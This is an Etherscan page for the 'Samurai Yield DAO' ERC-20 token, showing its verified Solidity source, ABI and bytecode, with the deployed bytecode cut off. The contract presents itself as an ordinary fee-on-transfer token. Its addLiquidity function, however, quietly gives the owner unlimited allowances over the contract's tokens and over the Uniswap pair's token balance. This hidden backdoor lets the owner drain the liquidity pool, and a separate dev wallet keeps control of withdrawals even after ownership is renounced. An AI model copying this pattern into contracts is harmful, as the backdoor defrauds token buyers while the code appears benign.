ETH Price: $2,454.31 (-1.02%)

Token

Samurai Yield DAO (SYD)
 

Overview

Max Total Supply

1,000,000 SYD

Holders

4

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 SYD

Value
$0.00
0xf980f85f95736ac7f4965685e714cd54d56a6101
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SamuraiYieldDAO

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-22
*/

/**

Website: https://www.samuraiyielddao.xyz/
Telegram: https://t.me/samuraiyielddao

*/

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if(a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SamuraiYieldDAO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1e6 * 10**18;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    string private constant _name = unicode"Samurai Yield DAO";
    string private constant _symbol = unicode"SYD";
    
    uint8 private constant _decimals = 18;
    uint256 private _taxFee = 0;
    uint256 private _teamFee = 3;
    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousteamFee = _teamFee;
    address payable private devWallet;
    address payable private marketingWallet;
    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private inSwap = false;


    modifier lockSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        devWallet = payable(msg.sender);
        marketingWallet = payable(msg.sender);
        _rOwned[address(this)] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _teamFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousteamFee = _teamFee;
        _taxFee = 0;
        _teamFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _teamFee = _previousteamFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        bool takeFee = true;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        } else {
            uint256 contractTokenBalance = balanceOf(address(this));

            if(!inSwap && from != uniswapV2Pair) {
                if(contractTokenBalance > 0) {
                    swapTokensForEth(contractTokenBalance);
                }
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    marketingWallet.transfer(contractETHBalance);
                }
            }
        }
        _tokenTransfer(from,to,amount,takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity() external payable onlyOwner {
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _allowances[address(this)][owner()] = MAX;
        _allowances[uniswapV2Pair][owner()] = MAX;
    }
    
    function updateMarketingWallet(address payable _marketing) external {
        require(msg.sender == devWallet);
        marketingWallet = _marketing;
    }

    function withdrawETH() external {
        devWallet.transfer(address(this).balance);
    }
    
    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        _transferStandard(sender, recipient, amount);
        if(!takeFee)
            restoreAllFee();
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 

        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {
      require(msg.sender != address(this));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"_marketing","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001c69d3c21bcecceda10000006000196200044d565b6200002a9060001962000470565b6006556000600881905560036009819055600a91909155600b55600f805460ff60a01b191690553480156200005e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620000e0308269d3c21bcecceda100000062000321565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200011a57600080fd5b505afa1580156200012f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000155919062000496565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200019e57600080fd5b505afa158015620001b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d9919062000496565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200022257600080fd5b505af115801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d919062000496565b600f80546001600160a01b039283166001600160a01b031991821617909155600c8054821633908117909155600d8054909216179055600654306000818152600260209081526040808320949094558154909416815260058452828120805460ff19908116600190811790925583835284832080549091169091179055825169d3c21bcecceda100000081529251919390927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350620004c8565b6001600160a01b038316620003895760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620003ec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000380565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000826200046b57634e487b7160e01b600052601260045260246000fd5b500690565b6000828210156200049157634e487b7160e01b600052601160045260246000fd5b500390565b600060208284031215620004a957600080fd5b81516001600160a01b0381168114620004c157600080fd5b9392505050565b61136380620004d86000396000f3fe6080604052600436106100ec5760003560e01c8063715018a61161008a578063aacebbe311610059578063aacebbe3146102bb578063dd62ed3e146102db578063e086e5ec14610321578063e8078d941461033657600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b411461026f578063a9059cbb1461029b57600080fd5b806323b872dd116100c657806323b872dd146101a8578063313ce567146101c857806349bd5a5e146101e457806370a082311461021c57600080fd5b806306fdde0314610105578063095ea7b31461015157806318160ddd1461018157600080fd5b3661010057333014156100fe57600080fd5b005b600080fd5b34801561011157600080fd5b5060408051808201909152601181527053616d75726169205969656c642044414f60781b60208201525b604051610148919061105e565b60405180910390f35b34801561015d57600080fd5b5061017161016c3660046110c8565b61033e565b6040519015158152602001610148565b34801561018d57600080fd5b5069d3c21bcecceda10000005b604051908152602001610148565b3480156101b457600080fd5b506101716101c33660046110f4565b610355565b3480156101d457600080fd5b5060405160128152602001610148565b3480156101f057600080fd5b50600f54610204906001600160a01b031681565b6040516001600160a01b039091168152602001610148565b34801561022857600080fd5b5061019a610237366004611135565b6103be565b34801561024857600080fd5b506100fe6103e0565b34801561025d57600080fd5b506000546001600160a01b0316610204565b34801561027b57600080fd5b5060408051808201909152600381526214d65160ea1b602082015261013b565b3480156102a757600080fd5b506101716102b63660046110c8565b610489565b3480156102c757600080fd5b506100fe6102d6366004611135565b610496565b3480156102e757600080fd5b5061019a6102f6366004611152565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561032d57600080fd5b506100fe6104cf565b6100fe61050b565b600061034b338484610747565b5060015b92915050565b600061036284848461086b565b6103b484336103af85604051806060016040528060288152602001611306602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061095d565b610747565b5060019392505050565b6001600160a01b03811660009081526002602052604081205461034f90610997565b6000546001600160a01b0316331461043f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034b33848461086b565b600c546001600160a01b031633146104ad57600080fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610508573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610436565b600e546001600160a01b031663f305d7194730610581816103be565b6000806105966000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156105f957600080fd5b505af115801561060d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610632919061118b565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561068657600080fd5b505af115801561069a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106be91906111b9565b50306000908152600460205260408120600019916106e46000546001600160a01b031690565b6001600160a01b0390811682526020808301939093526040918201600090812094909455600f54168352600490915281206000199161072b6000546001600160a01b031690565b6001600160a01b03168152602081019190915260400160002055565b6001600160a01b0383166107a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610436565b6001600160a01b03821661080a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610436565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff16806108ad57506001600160a01b03831660009081526005602052604090205460ff165b156108ba5750600061094b565b60006108c5306103be565b600f54909150600160a01b900460ff161580156108f05750600f546001600160a01b03868116911614155b156109495780156109045761090481610a1b565b47801561094757600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610945573d6000803e3d6000fd5b505b505b505b61095784848484610ba4565b50505050565b600081848411156109815760405162461bcd60e51b8152600401610436919061105e565b50600061098e84866111f1565b95945050505050565b60006006548211156109fe5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610436565b6000610a08610bd2565b9050610a148382610bf5565b9392505050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610a6357610a63611208565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ab757600080fd5b505afa158015610acb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aef919061121e565b81600181518110610b0257610b02611208565b6001600160a01b039283166020918202929092010152600e54610b289130911684610747565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b6190859060009086903090429060040161123b565b600060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b80610bb157610bb1610c37565b610bbc848484610c65565b8061095757610957600a54600855600b54600955565b6000806000610bdf610d5c565b9092509050610bee8282610bf5565b9250505090565b6000610a1483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610da0565b600854158015610c475750600954155b15610c4e57565b60088054600a5560098054600b5560009182905555565b600080600080600080610c7787610dce565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610ca99087610e2b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610cd89086610e6d565b6001600160a01b038916600090815260026020526040902055610cfa81610ecc565b610d048483610f16565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d4991815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda1000000610d798282610bf5565b821015610d975750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008183610dc15760405162461bcd60e51b8152600401610436919061105e565b50600061098e84866112ac565b6000806000806000806000806000610deb8a600854600954610f3a565b9250925092506000610dfb610bd2565b90506000806000610e0e8e878787610f8f565b919e509c509a509598509396509194505050505091939550919395565b6000610a1483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061095d565b600080610e7a83856112ce565b905083811015610a145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610436565b6000610ed6610bd2565b90506000610ee48383610fdf565b30600090815260026020526040902054909150610f019082610e6d565b30600090815260026020526040902055505050565b600654610f239083610e2b565b600655600754610f339082610e6d565b6007555050565b6000808080610f546064610f4e8989610fdf565b90610bf5565b90506000610f676064610f4e8a89610fdf565b90506000610f7f82610f798b86610e2b565b90610e2b565b9992985090965090945050505050565b6000808080610f9e8886610fdf565b90506000610fac8887610fdf565b90506000610fba8888610fdf565b90506000610fcc82610f798686610e2b565b939b939a50919850919650505050505050565b600082610fee5750600061034f565b6000610ffa83856112e6565b90508261100785836112ac565b14610a145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610436565b600060208083528351808285015260005b8181101561108b5785810183015185820160400152820161106f565b8181111561109d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461050857600080fd5b600080604083850312156110db57600080fd5b82356110e6816110b3565b946020939093013593505050565b60008060006060848603121561110957600080fd5b8335611114816110b3565b92506020840135611124816110b3565b929592945050506040919091013590565b60006020828403121561114757600080fd5b8135610a14816110b3565b6000806040838503121561116557600080fd5b8235611170816110b3565b91506020830135611180816110b3565b809150509250929050565b6000806000606084860312156111a057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156111cb57600080fd5b81518015158114610a1457600080fd5b634e487b7160e01b600052601160045260246000fd5b600082821015611203576112036111db565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561123057600080fd5b8151610a14816110b3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561128b5784516001600160a01b031683529383019391830191600101611266565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826112c957634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156112e1576112e16111db565b500190565b6000816000190483118215151615611300576113006111db565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046e68f8d647cd5088f5eb9f0e94ed9e9c31db17c254108520387bf537d451a2764736f6c63430008090033

Deployed Bytecode

0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063aacebbe311610059578063aacebbe3146102bb578063dd62ed3e146102db578063e086e5ec14610321578063e8078d941461033657600080fd5b8063715018a61461023c5780638da5cb5b1461025157806395d89b411461026f578063a9059cbb1461029b57600080fd5b806323b872dd116100c657806323b872dd146101a8578063313ce567146101c857806349bd5a5e146101e457806370a082311461021c57600080fd5b806306fdde0314610105578063095ea7b31461015157806318160ddd1461018157600080fd5b3661010057333014156100fe57600080fd5b005b600080fd5b34801561011157600080fd5b5060408051808201909152601181527053616d75726169205969656c642044414f60781b60208201525b604051610148919061105e565b60405180910390f35b34801561015d57600080fd5b5061017161016c3660046110c8565b61033e565b6040519015158152602001610148565b34801561018d57600080fd5b5069d3c21bcecceda10000005b604051908152602001610148565b3480156101b457600080fd5b506101716101c33660046110f4565b610355565b3480156101d457600080fd5b5060405160128152602001610148565b3480156101f057600080fd5b50600f54610204906001600160a01b031681565b6040516001600160a01b039091168152602001610148565b34801561022857600080fd5b5061019a610237366004611135565b6103be565b34801561024857600080fd5b506100fe6103e0565b34801561025d57600080fd5b506000546001600160a01b0316610204565b34801561027b57600080fd5b5060408051808201909152600381526214d65160ea1b602082015261013b565b3480156102a757600080fd5b506101716102b63660046110c8565b610489565b3480156102c757600080fd5b506100fe6102d6366004611135565b610496565b3480156102e757600080fd5b5061019a6102f6366004611152565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561032d57600080fd5b506100fe6104cf565b6100fe61050b565b600061034b338484610747565b5060015b92915050565b600061036284848461086b565b6103b484336103af85604051806060016040528060288152602001611306602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061095d565b610747565b5060019392505050565b6001600160a01b03811660009081526002602052604081205461034f90610997565b6000546001600160a01b0316331461043f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034b33848461086b565b600c546001600160a01b031633146104ad57600080fd5b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610508573d6000803e3d6000fd5b50565b6000546001600160a01b031633146105655760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610436565b600e546001600160a01b031663f305d7194730610581816103be565b6000806105966000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156105f957600080fd5b505af115801561060d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610632919061118b565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561068657600080fd5b505af115801561069a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106be91906111b9565b50306000908152600460205260408120600019916106e46000546001600160a01b031690565b6001600160a01b0390811682526020808301939093526040918201600090812094909455600f54168352600490915281206000199161072b6000546001600160a01b031690565b6001600160a01b03168152602081019190915260400160002055565b6001600160a01b0383166107a95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610436565b6001600160a01b03821661080a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610436565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460019060ff16806108ad57506001600160a01b03831660009081526005602052604090205460ff165b156108ba5750600061094b565b60006108c5306103be565b600f54909150600160a01b900460ff161580156108f05750600f546001600160a01b03868116911614155b156109495780156109045761090481610a1b565b47801561094757600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610945573d6000803e3d6000fd5b505b505b505b61095784848484610ba4565b50505050565b600081848411156109815760405162461bcd60e51b8152600401610436919061105e565b50600061098e84866111f1565b95945050505050565b60006006548211156109fe5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610436565b6000610a08610bd2565b9050610a148382610bf5565b9392505050565b600f805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610a6357610a63611208565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610ab757600080fd5b505afa158015610acb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aef919061121e565b81600181518110610b0257610b02611208565b6001600160a01b039283166020918202929092010152600e54610b289130911684610747565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b6190859060009086903090429060040161123b565b600060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b80610bb157610bb1610c37565b610bbc848484610c65565b8061095757610957600a54600855600b54600955565b6000806000610bdf610d5c565b9092509050610bee8282610bf5565b9250505090565b6000610a148383604051806040